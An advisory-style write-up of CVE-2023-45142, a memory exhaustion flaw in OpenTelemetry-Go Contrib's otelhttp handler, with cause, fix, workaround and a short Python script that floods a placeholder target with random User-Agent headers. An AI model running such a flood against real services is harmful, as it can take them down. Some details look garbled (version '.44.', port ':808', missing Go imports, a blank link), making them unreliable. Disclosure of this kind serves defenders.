CVE-2023-45142: Memory Exhaustion in OpenTelemetry-Go Contrib Due to Unbounded Cardinality of Labels

_OpenTelemetry-Go Contrib_ is a collection of third-party packages designed for integration with the OpenTelemetry-Go project. A key feature of this library involves using a handler wrapper to add labels for http.user_agent and http.method. These labels, however, have unbounded cardinality, thus potentially causing memory exhaustion when subjected to numerous malicious requests.

An attacker can easily exploit this vulnerability by setting random and lengthy values for the HTTP header User-Agent or HTTP method in their requests. Internally, the _OpenTelemetry-Go Contrib_ library utilizes the httpconv.ServerRequest function, responsible for recording all values of HTTP method and User-Agent. Programs that implement the otelhttp.NewHandler wrapper without filtering unknown HTTP methods or User agents at the CDN, LB, or previous middleware levels are particularly susceptible to this issue.

Version .44. introduced a fix for this vulnerability by restricting the values of the attribute http.request.method to a set of well-known values, and removing other high cardinality attributes. Additionally, the otelhttp.WithFilter() function can be implemented as a workaround to mitigate this issue, although it entails manual configuration to prevent specific requests from being logged entirely.

To enhance the security and usability of the library, the default behavior should involve marking non-standard HTTP methods and User agents with the 'unknown' label. This would help maintain visibility of such requests without increasing cardinality. If users prefer to retain the current behavior, the library API should offer an option to enable it.

A sample program using the otelhttp.NewHandler wrapper may look like this

package main

import (
    "github.com/open-telemetry/opentelemetry-go-contrib/instrumentation/net/http/otelhttp"
)

func main() {
    handler := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) {
        rw.Write([]byte("Hello, world!"))
    })
    http.Handle("/", otelhttp.NewHandler(handler, "hello_name"))
    log.Fatal(http.ListenAndServe(":808", nil))
}

Exploit Details

The following Python script demonstrates how to generate requests with random and long User-Agent headers, exploiting the vulnerability:

import requests
import random
import string

def random_string(length):
    return ''.join(random.choice(string.ascii_lowercase) for i in range(length))

url = "http://target.example.com/";

for i in range(10000):
    headers = {'User-Agent': random_string(100)}
    requests.get(url, headers=headers)

References

- OpenTelemetry-Go GitHub Repository:
- OpenTelemetry-Go Contrib GitHub Repository: <https://github.com/open-telemetry/opentelemetry-go-contrib>
- Changelog for version .44.: <https://github.com/open-telemetry/opentelemetry-go-contrib/releases/tag/v.44.>

Recommendations

In light of CVE-2023-45142, developers are highly encouraged to upgrade to version .44. to avert potential memory exhaustion related issues. If the upgrade is not feasible, users should consider configuring the otelhttp.WithFilter() function to manually filter requests with non-standard HTTP methods or User agents. Nevertheless, the long-term solution is to have the library mark non-standard HTTP methods and User agents with the 'unknown' label by default, while allowing users to enable the current behavior through the API.

Timeline

Published on: 10/12/2023 17:15:09 UTC
Last modified on: 10/18/2023 18:27:50 UTC